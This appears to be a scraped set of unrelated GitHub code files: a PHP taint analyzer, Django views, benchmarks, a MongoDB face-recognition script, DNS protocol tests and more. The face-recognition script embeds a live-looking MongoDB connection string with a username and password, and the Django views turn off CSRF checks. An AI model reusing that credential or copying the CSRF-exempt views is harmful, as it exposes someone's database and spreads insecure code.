{cfg.get_image(y)} at position {cfg.get_position(y)}\")\n print(\"contact.php\")\n t_analyzer = TAnalyzer()\n cfg = cfgreader.read_cfg(\"../tp/part_2/app.cfg/contact.php.cfg.json\")\n t_analyzer.load_json(\"../tp/part_2/app.cfg/contact.php.taint.json\")\n out, skink = t_analyzer.poss_t_def(cfg)\n\n for x in skink:\n print(\n f\"sink {x[0]} named {cfg.get_image(x[0])} at position {cfg.get_position(x[0])[0]} is tainted by: \")\n for y in x[1]:\n print(\n f\"/!\\/!\\/!\\ def {y} named {cfg.get_image(y)} at position {cfg.get_position(y)[0]}\")\n\n print(\"departments.php\")\n t_analyzer = TAnalyzer()\n cfg = cfgreader.read_cfg(\"../tp/part_2/app.cfg/departments.php.cfg.json\")\n t_analyzer.load_json(\"../tp/part_2/app.cfg/departments.php.taint.json\")\n out, skink = t_analyzer.poss_t_def(cfg)\n\n for x in skink:\n print(\n f\"sink {x[0]} named {cfg.get_image(x[0])} at position {cfg.get_position(x[0])[0]} is tainted by: \")\n for y in x[1]:\n print(\n f\"/!\\/!\\/!\\ def {y} named {cfg.get_image(y)} at position {cfg.get_position(y)[0]}\")\n\n print(\"index.php\")\n t_analyzer = TAnalyzer()\n cfg = cfgreader.read_cfg(\"../tp/part_2/app.cfg/index.php.cfg.json\")\n t_analyzer.load_json(\"../tp/part_2/app.cfg/index.php.taint.json\")\n out, skink = t_analyzer.poss_t_def(cfg)\n\n for x in skink:\n print(\n f\"sink {x[0]} named {cfg.get_image(x[0])} at position {cfg.get_position(x[0])[0]} is tainted by: \")\n for y in x[1]:\n print(\n f\"/!\\/!\\/!\\ def {y} named {cfg.get_image(y)} at position {cfg.get_position(y)[0]}\")\n\n print(\"includes/footer.php\")\n t_analyzer = TAnalyzer()\n cfg = cfgreader.read_cfg(\n \"../tp/part_2/app.cfg/includes/footer.php.cfg.json\")\n t_analyzer.load_json(\"../tp/part_2/app.cfg/includes/footer.php.taint.json\")\n out, skink = t_analyzer.poss_t_def(cfg)\n for x in skink:\n print(\n f\"sink {x[0]} named {cfg.get_image(x[0])} at position {cfg.get_position(x[0])[0]} is tainted by: \\n\\n\")\n for y in x[1]:\n print(\n f\"/!\\/!\\/!\\ def {y} named {cfg.get_image(y)} at position {cfg.get_position(y)[0]}\\n\\n\")\n\n print(\"includes/header.php\")\n t_analyzer = TAnalyzer()\n cfg = cfgreader.read_cfg(\n \"../tp/part_2/app.cfg/includes/header.php.cfg.json\")\n t_analyzer.load_json(\"../tp/part_2/app.cfg/includes/header.php.taint.json\")\n out, skink = t_analyzer.poss_t_def(cfg)\n\n for x in skink:\n print(\n f\"sink {x[0]} named {cfg.get_image(x[0])} at position {cfg.get_position(x[0])[0]} is tainted by: \")\n for y in x[1]:\n print(\n f\"/!\\/!\\/!\\ def {y} named {cfg.get_image(y)} at position {cfg.get_position(y)[0]}\")\n","repo_name":"ManuSerp/TAnalysis","sub_path":"src/teint.py","file_name":"teint.py","file_ext":"py","file_size_in_byte":7469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28830235333","text":"from django.forms import model_to_dict\nfrom django.http import JsonResponse\nimport json\nfrom django.shortcuts import render, get_object_or_404\nfrom django.http import HttpResponse, JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.core import serializers\n\n# Create your views here.\nfrom .models import FormTemplate, FormWithAnswer, Answer, Question\nfrom users.models import User\n\n@csrf_exempt\ndef index(request):\n if request.method == \"GET\":\n if 'id' in request.GET:\n forms = [FormWithAnswer.objects.get(pk=request.GET['id'])]\n elif 'user_id' in request.GET:\n forms = FormWithAnswer.objects.filter(\n # user=User.objects.get(pk=request.GET['user_id'])\n user=get_object_or_404(User, pk=request.GET['user_id'])\n )\n else:\n forms = list(FormWithAnswer.objects.all())\n response_json = []\n\n for form in forms:\n model_form = model_to_dict(form)\n print(model_form)\n model_form[\"name\"] = FormTemplate.objects.get(pk=model_form['form_template']).name\n model_form[\"user\"] = model_to_dict(User.objects.get(pk=model_form['user']))\n model_form[\"about_user\"] = model_to_dict(User.objects.get(pk=model_form['about_user']))\n model_form[\"questions\"] = []\n answers = Answer.objects.filter(form=model_form[\"id\"])\n for answer in answers:\n print(answer.question)\n question = model_to_dict(answer.question)\n question['answer'] = model_to_dict(answer)\n model_form[\"questions\"].append(question)\n # print(answer.question)\n response_json.append(model_form)\n # print(response_json)\n if 'id' in request.GET:\n return JsonResponse(\n response_json[0],\n safe=False)\n else:\n return JsonResponse(\n response_json,\n safe=False)\n elif request.method == \"POST\":\n data = json.loads(request.body)\n print(data)\n new_form = FormWithAnswer(\n form_template=FormTemplate.objects.get(pk=data['form_template_id']),\n about_user=User.objects.get(pk=data['about']),\n user=User.objects.get(pk=data['user_id']),\n )\n new_form.save()\n # data_answer = Ans\n\n for question_id, answer in data['answers'].items():\n print(question_id, answer)\n print(User.objects.get(pk=data['user_id']))\n print(Question.objects.get(pk=question_id))\n print(new_form)\n new_answer = Answer(\n # user=User.objects.get(pk=data['user_id']),\n question=Question.objects.get(pk=question_id),\n form=new_form,\n text=answer,\n )\n new_answer.save()\n\n return JsonResponse({\n 'form_id': new_form.id\n }, safe=False)\n\n@csrf_exempt\ndef template(request):\n if request.method == \"GET\":\n if \"template_id\" in request.GET:\n # template_json = model_to_dict(FormTemplate.objects.get(pk=request.GET[\"template_id\"]))\n template = get_object_or_404(FormTemplate, pk=request.GET[\"template_id\"])\n template_json = model_to_dict(template)\n template_json[\"questions\"] = list(template.questions.values())\n # template_json[\"questions\"] = list(template_json.questions.values())\n return JsonResponse(template_json, safe=False)\n else:\n templates_json = list(FormTemplate.objects.values())\n i = 0\n for template in FormTemplate.objects.all():\n # print(template.questions.all())\n templates_json[i][\"questions\"] = list(template.questions.values())\n i += 1\n # templates_json = serializers.serialize('json', FormTemplate.objects.values())\n return JsonResponse(templates_json, safe=False)\n ","repo_name":"AlexZhaba/coursework_django","sub_path":"backend/forms/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3562,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"14038342278","text":"def main (file):\n\tdata = open(file, \"r\").readlines()\n\tdata_new = open(\"LP_genes_NEW.txt\", \"w\")\n\n\tnew_set = []\n\tfor line in data[2:]:\n\t\tline_split = line.split()\n\t\tif len(line_split) > 2:\n\t\t\tfor NC in line_split:\n\t\t\t\tif \"NC\" in NC:\n\t\t\t\t\tfor NZ in line_split:\n\t\t\t\t\t\tif \"NZ\" in NZ:\n\t\t\t\t\t\t\tnew_set.append(NC+\"\\t\"+NZ+\"\\n\")\n\t\t\t\t\t\t\t\n\t\telse:\n\t\t\tnew_set.append(line)\n\n\tfor line in new_set:\n\t\tdata_new.write(line)\n\treturn True\n\t\n\n\n","repo_name":"tchnl/c11_pipeline","sub_path":"workflow/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33118116919","text":"import hashlib\nimport os\nimport time\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# this should be all hashes hashlib implements...\nhashes = ('md5',\n 'sha1', 'sha224', 'sha256', 'sha384', 'sha512',\n 'blake2b', 'blake2s',\n 'sha3_224', 'sha3_256', 'sha3_384', 'sha3_512',\n 'shake_128', 'shake_256')\n\nbasePath = \"./\"\ninputDataFiles = ['random_100k.dat', 'random_500k.dat', 'random_1M.dat',\n 'random_5M.dat', 'random_10M.dat']\n\n\ndef hashFile(hash, filePath):\n # ... but at least on MacOS some are not implemented, let's try and see if we\n # get the according hash object\n try: \n hashObject = getattr(hashlib, hash)()\n with open(filePath, 'rb') as inputDataFile:\n for chunk in iter(lambda: inputDataFile.read(4096), b''):\n hashObject.update(chunk)\n hashObject.hexdigest()\n return True # all ok\n except:\n print(f\"Hash function {hash} not available.\")\n return False # something broken\n\n\ndef runTest(inputDataFile):\n measurements = pd.DataFrame()\n for hash in hashes:\n print(hash)\n repetitions = 50\n iterations = []\n for i in range(0, repetitions):\n start = time.time()\n res = hashFile(hash, filePath)\n end = time.time()\n duration = end - start\n iterations.append(duration)\n # this hash function is not implemented, we don't have to try anymore\n if res is False:\n break\n if res:\n measurements[hash] = iterations\n return measurements\n\n\nfor inputDataFile in inputDataFiles:\n filePath = os.path.join(basePath, inputDataFile)\n\n res = runTest(filePath)\n\n plt.figure(figsize=(1200/100, 800/100), dpi=100)\n res.boxplot()\n plt.title(f\"Runtimes of different Hash functions -- {inputDataFile}\")\n plt.xlabel('Hash Functions')\n plt.ylabel('time [s]')\n plt.xticks(rotation=90)\n plt.tight_layout() \n plt.savefig(os.path.join(basePath, inputDataFile + \".pdf\"))\n","repo_name":"ho1ger/hashPerformance","sub_path":"hashTestPlot.py","file_name":"hashTestPlot.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1113123690","text":"from pandas import read_csv\nfrom numpy import sum, max, abs, cos, pi, sqrt, exp, e\nfrom numpy.random import seed, choice, uniform\nimport os \n\n\nclass Root:\n def __init__(self, f_name=None, f_shift_data_file=None, f_bias=None):\n self.f_name = f_name\n self.f_shift_data_file = f_shift_data_file\n self.f_bias = f_bias\n self.support_path_data=os.path.join(os.path.dirname(__file__), 'tools/data08.csv')\n \n def load_shift_data(self):\n data = read_csv(self.support_path_data, usecols=[self.f_shift_data_file])\n return data.values.reshape(-1)\n\n\nclass F1(Root):\n def __init__(self, f_name=\"Shifted Sphere Function\", f_shift_data_file=\"F1\", f_bias=-450):\n Root.__init__(self, f_name, f_shift_data_file, f_bias)\n\n def fit(self, solution=None):\n problem_size = len(solution)\n if problem_size > 1000:\n print(\"CEC 2008 not support for problem size > 1000\")\n return 1\n shift_data = self.load_shift_data()[:problem_size]\n return sum((solution - shift_data)**2) + self.f_bias\n \n def return_global(self, nx):\n \n xmin = self.load_shift_data()[:nx]\n ymin = self.fit(xmin)\n \n return xmin, ymin\n \n \n \n\nclass F2(Root):\n def __init__(self, f_name=\"Schwefel’s Problem 2.21\", f_shift_data_file=\"F2\", f_bias=-450):\n Root.__init__(self, f_name, f_shift_data_file, f_bias)\n\n def fit(self, solution=None):\n problem_size = len(solution)\n if problem_size > 1000:\n print(\"CEC 2008 not support for problem size > 1000\")\n return 1\n shift_data = self.load_shift_data()[:problem_size]\n\n return max(abs(solution - shift_data)) + self.f_bias\n\n def return_global(self, nx):\n \n xmin = self.load_shift_data()[:nx]\n ymin = self.fit(xmin)\n \n return xmin, ymin\n \nclass F3(Root):\n def __init__(self, f_name=\"Shifted Rosenbrock’s Function\", f_shift_data_file=\"F3\", f_bias=390, f_matrix=None):\n Root.__init__(self, f_name, f_shift_data_file, f_bias)\n self.f_matrix = f_matrix\n\n def fit(self, solution=None):\n problem_size = len(solution)\n if problem_size > 1000:\n print(\"CEC 2008 not support for problem size > 1000\")\n return 1\n shift_data = self.load_shift_data()[:problem_size]\n z = solution - shift_data + 1\n result = 0\n for i in range(0, problem_size-1):\n result += 100*(z[i]**2 - z[i+1])**2 + (z[i] - 1)**2\n return result + self.f_bias\n\n def return_global(self, nx):\n \n xmin = self.load_shift_data()[:nx]\n ymin = self.fit(xmin)\n \n return xmin, ymin\n \nclass F4(Root):\n def __init__(self, f_name=\"Shifted Rastrigin’s Function\", f_shift_data_file=\"F4\", f_bias=-330):\n Root.__init__(self, f_name, f_shift_data_file, f_bias)\n\n def fit(self, solution=None):\n problem_size = len(solution)\n if problem_size > 1000:\n print(\"CEC 2008 not support for problem size > 1000\")\n return 1\n shift_data = self.load_shift_data()[:problem_size]\n z = solution - shift_data\n return sum(z**2 - 10*cos(2*pi*z) + 10) + self.f_bias\n\n def return_global(self, nx):\n \n xmin = self.load_shift_data()[:nx]\n ymin = self.fit(xmin)\n \n return xmin, ymin \n\nclass F5(Root):\n def __init__(self, f_name=\"Shifted Griewank’s Function\", f_shift_data_file=\"F5\", f_bias=-180):\n Root.__init__(self, f_name, f_shift_data_file, f_bias)\n\n def fit(self, solution=None):\n problem_size = len(solution)\n if problem_size > 1000:\n print(\"CEC 2008 not support for problem size > 1000\")\n return 1\n shift_data = self.load_shift_data()[:problem_size]\n z = solution - shift_data\n result = sum(z**2/4000)\n temp = 1.0\n for i in range(0, problem_size):\n temp *= cos(z[i] / sqrt(i+1))\n return result - temp + 1 + self.f_bias\n\n def return_global(self, nx):\n \n xmin = self.load_shift_data()[:nx]\n ymin = self.fit(xmin)\n \n return xmin, ymin\n \nclass F6(Root):\n def __init__(self, f_name=\"Shifted Ackley’s Function\", f_shift_data_file=\"F6\", f_bias=-140):\n Root.__init__(self, f_name, f_shift_data_file, f_bias)\n\n def fit(self, solution=None):\n problem_size = len(solution)\n if problem_size > 1000:\n print(\"CEC 2008 not support for problem size > 1000\")\n return 1\n shift_data = self.load_shift_data()[:problem_size]\n z = solution - shift_data\n return -20*exp(-0.2*sqrt(sum(z**2)/problem_size)) - exp(sum(cos(2*pi*z))/problem_size) + 20 + e + self.f_bias\n \n def return_global(self, nx):\n \n xmin = self.load_shift_data()[:nx]\n ymin = self.fit(xmin)\n \n return xmin, ymin\n \nclass F7(Root):\n def __init__(self, f_name=\"FastFractal “DoubleDip” Function\", f_shift_data_file=None, f_bias=None, f_matrix=None):\n Root.__init__(self, f_name, f_shift_data_file, f_bias)\n self.f_matrix = f_matrix\n\n def fit(self, solution=None):\n seed(0)\n problem_size = len(solution)\n if problem_size > 1000:\n print(\"CEC 2008 not support for problem size > 1000\")\n return 1\n\n def __doubledip__(x, c, s):\n if -0.5 < x < 0.5:\n return (-6144*(x - c)**6 + 3088*(x - c)**4 - 392*(x - c)**2 + 1)*s\n else:\n return 0\n\n def __fractal1d__(x):\n result1 = 0.0\n for k in range(1, 4):\n result2 = 0.0\n upper = 2**(k-1)\n for t in range(1, upper):\n selected = choice([0, 1, 2])\n result2 += sum([ __doubledip__(x, uniform(), 1.0 / (2**(k-1)*(2-uniform()))) for _ in range(0, selected)])\n result1 += result2\n return result1\n\n def __twist__(y):\n return 4*(y**4 - 2*y**3 + y**2)\n\n result = solution[-1] + __twist__(solution[0])\n for i in range(0, problem_size-1):\n x = solution[i] + __twist__(solution[i%problem_size + 1])\n result += __fractal1d__(x)\n return result","repo_name":"mradaideh/neorl","sub_path":"neorl/benchmarks/cec08.py","file_name":"cec08.py","file_ext":"py","file_size_in_byte":6323,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"67"} +{"seq_id":"37338436470","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 8 14:29:59 2022\n\n@author: aakaa\n\"\"\"\n\n###########################Import Required Libraries#############################\nimport face_recognition\nimport dlib\nimport cv2\nimport numpy as np\nimport pandas as pd\nimport os\n#################################################################################\n\nfrom pymongo import MongoClient\nconnection = \"mongodb+srv://irp:irp2022@irpmongodb.26cuy7l.mongodb.net/?retryWrites=true&w=majority\"\n\nclient = MongoClient(connection)\n\ndatabase = 'deepface'\ncollection = 'deepface'\ndb = client[database]\n\n#########################Define Required Paths and variables#####################\nimgDir='/home/tejas/Desktop/MySTuff/20-11-2022/Face Recognition/Celebrity Images'\nimgs=os.listdir(imgDir)\nn=len(imgs)\ndf=pd.DataFrame(index=[i for i in range(n)],columns=['Name','Encodings','SoE'])\n#################################################################################\n\n'''Though before getting started with the images in the celebrity images folder,\nfirst let us test on a image and see how to store the encoding values in a pandas dataframe'''\n############################Test Img###############################################\n# imgPath=r'D:\\Environments\\Humanoid\\Face Recognition\\Single Image Test\\Larry Page.jpg'\n# img=face_recognition.load_image_file(imgPath)\n# img=cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\n# embedding=face_recognition.face_encodings(img)\n# test_df=pd.DataFrame(index=[i for i in range(5)],columns=['Name','Encodings','SoE'])\n# sumEncodings=np.sum(embedding)\n# test_df.at[0,'Name']='Larry Page'\n# test_df.at[0,'Encodings']=embedding[0]\n# test_df.at[0,'SoE']=sumEncodings\n# test_df.to_csv('Test.csv')\n###################################################################################\n\n''' Now we can iterate through the images in the celebrity folder and generate encoding values\nfor them and save them in the the CSV file for later use '''\n\n##################################Main Code########################################\n\ndef insert():\n for idx,img in enumerate(imgs):\n print(idx, img)\n imgPath=imgDir+f'/{img}'\n i=face_recognition.load_image_file(imgPath)\n i=cv2.cvtColor(i,cv2.COLOR_BGR2RGB)\n embedding_encode=face_recognition.face_encodings(i)\n embedding = embedding_encode[0]\n sumEncodings=np.sum(embedding)\n name=img.split('.')\n #df.at[idx,'Name']=f'{name[0]}'\n #df.at[idx,'Encodings']=','.join(map(str,embedding[0]))\n #df.at[idx,'SoE']=sumEncodings\n db[collection].insert_one({\"img_path\": img, \"embedding\" :embedding.tolist(), \"SoE\": sumEncodings})\n #df.to_csv('Data.csv')\n\n\n\n#insert()\n\n\ntarget_img_path = \"target.jpg\"\ni=face_recognition.load_image_file(target_img_path)\ni=face_recognition.load_image_file(target_img_path)\ni=cv2.cvtColor(i,cv2.COLOR_BGR2RGB)\nembedding_encode=face_recognition.face_encodings(i)\ntarget_embedding = embedding_encode[0]\ndb[collection].insert_one({\"img_path\": target_img_path, \"embedding\" :target_embedding.tolist()})\n\n\n\n\nquery = db[collection].aggregate( [\n{\n \"$addFields\": { \n \"target_embedding\": target_embedding.tolist()\n }\n}\n, {\"$unwind\" : { \"path\" : \"$embedding\", \"includeArrayIndex\": \"embedding_index\"}}\n, {\"$unwind\" : { \"path\" : \"$target_embedding\", \"includeArrayIndex\": \"target_index\" }}\n, {\n \"$project\": {\n \"img_path\": 1,\n \"embedding\": 1,\n \"target_embedding\": 1,\n \"compare\": {\n \"$cmp\": ['$embedding_index', '$target_index']\n }\n }\n}\n, {\n \"$group\": {\n \"_id\": \"$img_path\",\n \"distance\": {\n \"$sum\": {\n \"$pow\": [{\n \"$subtract\": ['$embedding', '$target_embedding']\n }, 2]\n }\n }\n }\n}\n, { \n \"$project\": {\n \"_id\": 1\n #, \"distance\": 1\n , \"distance\": {\"$sqrt\": \"$distance\"}\n }\n}\n] )\n\nfor i in query:\n print(i)","repo_name":"tejassm1412/GUI-for-IRP","sub_path":"Face Recognition/Generate Data.py","file_name":"Generate Data.py","file_ext":"py","file_size_in_byte":3912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38949727500","text":"# There are a total of n courses you have to take, labeled from 0 to n - 1.\n\n# Some courses may have prerequisites, for example to take course 0 you have to first take course 1, which is expressed as a pair: [0,1]\n\n# Given the total number of courses and a list of prerequisite pairs, return the ordering of courses you should take to finish all courses.\n\n# There may be multiple correct orders, you just need to return one of them. If it is impossible to finish all courses, return an empty array.\n\n# For example:\n\n# 2, [[1,0]]\n# There are a total of 2 courses to take. To take course 1 you should have finished course 0. So the correct course order is [0,1]\n\n# 4, [[1,0],[2,0],[3,1],[3,2]]\n# There are a total of 4 courses to take. To take course 3 you should have finished both courses 1 and 2. Both courses 1 and 2 should be taken after you finished course 0. So one correct course order is [0,1,2,3]. Another correct ordering is[0,2,1,3].\n\nclass Solution(object):\n def findOrder(self, numCourses, prerequisites):\n \"\"\"\n O(V+E)\n O(E)\n :type numCourses: int\n :type prerequisites: List[List[int]]\n :rtype: List[int]\n \"\"\"\n zero_indegree = []\n indegree = {}\n outdegree = {}\n res = []\n # save the indegree and outdegree\n for i, j in prerequisites:\n if i not in indegree:\n indegree[i] = set()\n if j not in outdegree:\n outdegree[j] = set()\n indegree[i].add(j)\n outdegree[j].add(i)\n \n # find zero indegree in the graph\n for i in range(numCourses):\n if i not in indegree:\n zero_indegree.append(i)\n \n while zero_indegree:\n prerequest = zero_indegree.pop(0)\n res.append(prerequest)\n if prerequest in outdegree:\n for course in outdegree[prerequest]:\n indegree[course].remove(prerequest)\n # empty\n if not indegree[course]:\n zero_indegree.append(course)\n del (outdegree[prerequest])\n \n \n # check out degree\n if outdegree:\n return []\n return res\n","repo_name":"youhusky/Facebook_Prepare","sub_path":"208. Course Scheduleii.py","file_name":"208. Course Scheduleii.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"3022004249","text":"import asyncio\nimport struct\nimport unittest\nfrom unittest.mock import patch\n\nimport dns\nimport dns.message\nfrom dohproxy.server_protocol import DNSClientProtocolTCP\n\n\nclass TCPTestCase(unittest.TestCase):\n def setUp(self):\n self.dnsq = dns.message.make_query(\"www.example.com\", dns.rdatatype.ANY)\n self.dnsr = dns.message.make_response(self.dnsq)\n self.response = self.dnsr.to_wire()\n\n @patch.object(DNSClientProtocolTCP, \"receive_helper\")\n def test_single_valid(self, m_rcv):\n data = struct.pack(\"!H\", len(self.response)) + self.response\n client_tcp = DNSClientProtocolTCP(self.dnsq, [], \"10.0.0.0\")\n client_tcp.data_received(data)\n m_rcv.assert_called_with(self.dnsr)\n\n @patch.object(DNSClientProtocolTCP, \"receive_helper\")\n def test_two_valid(self, m_rcv):\n data = struct.pack(\"!H\", len(self.response)) + self.response\n client_tcp = DNSClientProtocolTCP(self.dnsq, [], \"10.0.0.0\")\n client_tcp.data_received(data + data)\n m_rcv.assert_called_with(self.dnsr)\n self.assertEqual(m_rcv.call_count, 2)\n\n @patch.object(DNSClientProtocolTCP, \"receive_helper\")\n def test_partial_valid(self, m_rcv):\n data = struct.pack(\"!H\", len(self.response)) + self.response\n client_tcp = DNSClientProtocolTCP(self.dnsq, [], \"10.0.0.0\")\n client_tcp.data_received(data[0:5])\n m_rcv.assert_not_called()\n client_tcp.data_received(data[5:])\n m_rcv.assert_called_with(self.dnsr)\n\n @patch.object(DNSClientProtocolTCP, \"receive_helper\")\n def test_len_byte(self, m_rcv):\n data = struct.pack(\"!H\", len(self.response)) + self.response\n client_tcp = DNSClientProtocolTCP(self.dnsq, [], \"10.0.0.0\")\n client_tcp.data_received(data[0:1])\n m_rcv.assert_not_called()\n client_tcp.data_received(data[1:])\n m_rcv.assert_called_with(self.dnsr)\n\n @patch.object(DNSClientProtocolTCP, \"receive_helper\")\n def test_complex(self, m_rcv):\n data = struct.pack(\"!H\", len(self.response)) + self.response\n length = len(data)\n data = data * 3\n client_tcp = DNSClientProtocolTCP(self.dnsq, [], \"10.0.0.0\")\n client_tcp.data_received(data[0 : length - 3])\n client_tcp.data_received(data[length - 3 : length + 1])\n m_rcv.assert_called_with(self.dnsr)\n m_rcv.reset_mock()\n client_tcp.data_received(data[length + 1 : 2 * length])\n m_rcv.assert_called_with(self.dnsr)\n m_rcv.reset_mock()\n client_tcp.data_received(data[2 * length :])\n m_rcv.assert_called_with(self.dnsr)\n\n @patch.object(DNSClientProtocolTCP, \"receive_helper\")\n def test_single_long(self, m_rcv):\n data = struct.pack(\"!H\", len(self.response) - 3) + self.response\n client_tcp = DNSClientProtocolTCP(self.dnsq, [], \"10.0.0.0\")\n with self.assertRaises(dns.exception.FormError):\n client_tcp.data_received(data)\n\n @patch.object(DNSClientProtocolTCP, \"receive_helper\")\n def test_single_short(self, m_rcv):\n data = struct.pack(\"!H\", len(self.response) + 3) + self.response\n client_tcp = DNSClientProtocolTCP(self.dnsq, [], \"10.0.0.0\")\n client_tcp.data_received(data)\n m_rcv.assert_not_called()\n\n def test_cancelled_future(self):\n \"\"\"Ensures that cancelled futures are handled appropriately.\"\"\"\n data = struct.pack(\"!H\", len(self.response)) + self.response\n\n mock_future = unittest.mock.MagicMock(asyncio.Future)\n client_tcp = DNSClientProtocolTCP(self.dnsq, mock_future, \"10.0.0.0\")\n client_tcp.time_stamp = 1000000\n\n # If the future is cancelled, set_result raises InvalidStateError.\n mock_future.set_result.side_effect = asyncio.InvalidStateError(\n \"CANCELLED: \"\n )\n client_tcp.data_received(data)\n","repo_name":"facebookarchive/doh-proxy","sub_path":"test/test_protocol.py","file_name":"test_protocol.py","file_ext":"py","file_size_in_byte":3860,"program_lang":"python","lang":"en","doc_type":"code","stars":464,"dataset":"github-code","pt":"67"} +{"seq_id":"16960045425","text":"from main_handler import Handler\nfrom .. import utils\n\n\nclass EditPost(Handler):\n \"\"\"Handler for edit post page\"\"\"\n @utils.login_required\n @utils.post_exists\n @utils.user_owns_post\n def get(self, post_id, p):\n self.render(\"edit_post.html\", p=p)\n\n @utils.login_required\n @utils.post_exists\n @utils.user_owns_post\n def post(self, post_id, p):\n subject = self.request.get(\"subject\")\n content = self.request.get(\"content\")\n\n if subject and content:\n p.subject = subject\n p.content = content\n p.put()\n self.redirect(\"/post/\"+str(post_id))\n else:\n err = \"\"\"If you want to delete this post,\n press the delete button\"\"\"\n self.render(\"edit_post.html\", p=p, err=err)\n","repo_name":"stonescar/multi-user-blog","sub_path":"blogmods/handlers/edit_post.py","file_name":"edit_post.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"631000297","text":"from django.urls import path, include\nfrom rest_framework import routers\nfrom rest_framework.documentation import include_docs_urls\nfrom rest_framework.schemas import get_schema_view\n\nfrom . import views\n\napp_name = 'stat_app'\n\nrouter = routers.DefaultRouter()\nrouter.register(r'companies', views.CompanyViewSet)\nrouter.register(r'departments', views.DepartmentViewSet)\nrouter.register(r'stat_titles', views.StatTitleViewSet)\nrouter.register(r'stats', views.StatViewSet)\n\n# schema_view = get_schema_view(title='Stat API', description='An API to manage statistics.')\n\nurlpatterns = [\n path('company//',\n views.DepartmentListView.as_view(),\n name='department_list_company'),\n path('/',\n views.DepartmentDetailView.as_view(),\n name='department_detail'),\n path('/stat_title_create/',\n views.stat_title_create,\n name='stat_title_create'),\n path('/stat_create/',\n views.stat_create,\n name='stat_create'),\n path('/stat_edit/',\n views.stat_edit,\n name='stat_edit'),\n\n path('api/data/', views.get_data, name='api-data'),\n\n path('api/', include(router.urls)),\n # path('schema/', schema_view),\n # path('docs/', include_docs_urls(title='Stat API'))\n]\n","repo_name":"CompanyStatistics/company_statistics","sub_path":"companystatistics/stat_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"43521285661","text":"#!/usr/bin/env python\n\n# wrapper for irace call to a run for generating instances from Conjure specification\n# syntax: python wrapper.py <1> \n# output: the last stdout line is the score returned to irace \n\nimport os\nimport sys\nimport subprocess\nimport random\nimport time\nimport glob\nimport shlex\nimport re\nimport json\nfrom shutil import move\nimport datetime\nfrom shutil import copyfile\nimport numpy as np\n\ndetailedOutputDir = './detailed-output'\n\nsolverInfo = {}\nsolverInfo['cplex'] = {'timelimitUnit': 'ms', \n 'timelimitPrefix': '--time-limit ',\n 'randomSeedPrefix': 'via text file'}\nsolverInfo['chuffed'] = {'timelimitUnit': 'ms',\n 'timelimitPrefix': '-t ',\n 'randomSeedPrefix': '--rnd-seed '}\nsolverInfo['minion'] = {'timelimitUnit': 's',\n 'timelimitPrefix': '-timelimit ',\n 'randomSeedPrefix': '-randomseed '}\nsolverInfo['gecode'] = {'timelimitUnit': 'ms',\n 'timelimitPrefix': '-time ',\n 'randomSeedPrefix': '-r '}\nsolverInfo['glucose'] = {'timelimitUnit': 's',\n 'timelimitPrefix': '-cpu-lim=',\n 'randomSeedPrefix': '-rnd-seed='}\nsolverInfo['glucose-syrup'] = {'timelimitUnit': 's',\n 'timelimitPrefix': '-cpu-lim=',\n 'randomSeedPrefix': '-rnd-seed='}\nsolverInfo['lingeling'] = {'timelimitUnit': 's',\n 'timelimitPrefix': '-T ',\n 'randomSeedPrefix': '--seed '}\nsolverInfo['cadical'] = {'timelimitUnit': 's',\n 'timelimitPrefix': '-t ',\n 'randomSeedPrefix': '--seed='}\nsolverInfo['open-wbo'] = {'timelimitUnit': 's',\n 'timelimitPrefix': '-cpu-lim=',\n 'randomSeedPrefix': '-rnd-seed='}\nsolverInfo['boolector'] = {'timelimitUnit': 's',\n 'timelimitPrefix': '--time=',\n 'randomSeedPrefix': '--seed='}\n\n\ndef log(logMessage):\n print(\"{0}: {1}\".format(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'), logMessage))\n\n\ndef read_file(fn):\n lsLines = []\n with open(fn,'rt') as f:\n lsLines = [line.rstrip('\\n') for line in f]\n \n return lsLines\n\n\ndef search_string(s, lsStrs):\n lsOut = []\n for line in lsStrs:\n if s in line:\n lsOut.append(line)\n return lsOut\n\n\n\ndef run_cmd(cmd,outFile=None):\n lsCmds = shlex.split(cmd)\n p = subprocess.run(lsCmds,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)\n output = p.stdout.decode('utf-8')\n if outFile is not None:\n with open(outFile,'wt') as f:\n f.write(output)\n return output, p.returncode\n\n\n\n\ndef deleteFile(fn):\n if isinstance(fn,list): # delete a list of files\n for name in fn:\n if isinstance(name,list):\n deleteFile(name)\n elif os.path.isfile(name):\n os.remove(name)\n else: # delete by pattern\n lsFile = glob.glob(fn)\n for fn in lsFile:\n os.remove(fn)\n\n\ndef conjure_translate_parameter(eprimeModelFile, paramFile, eprimeParamFile):\n cmd = 'conjure translate-parameter ' + '--eprime=' + eprimeModelFile + ' --essence-param=' + paramFile + ' --eprime-param=' + eprimeParamFile\n log(cmd)\n cmdOutput, returnCode = run_cmd(cmd)\n\n if returnCode != 0:\n raise Exception(cmdOutput)\n\n\ndef savilerow_translate(auxFile, eprimeModelFile, eprimeParamFile, minionFile, timelimit, flags):\n cmd = 'savilerow ' + eprimeModelFile + ' ' + eprimeParamFile + ' -out-aux ' + auxFile + ' -out-minion ' + minionFile + ' -save-symbols ' + 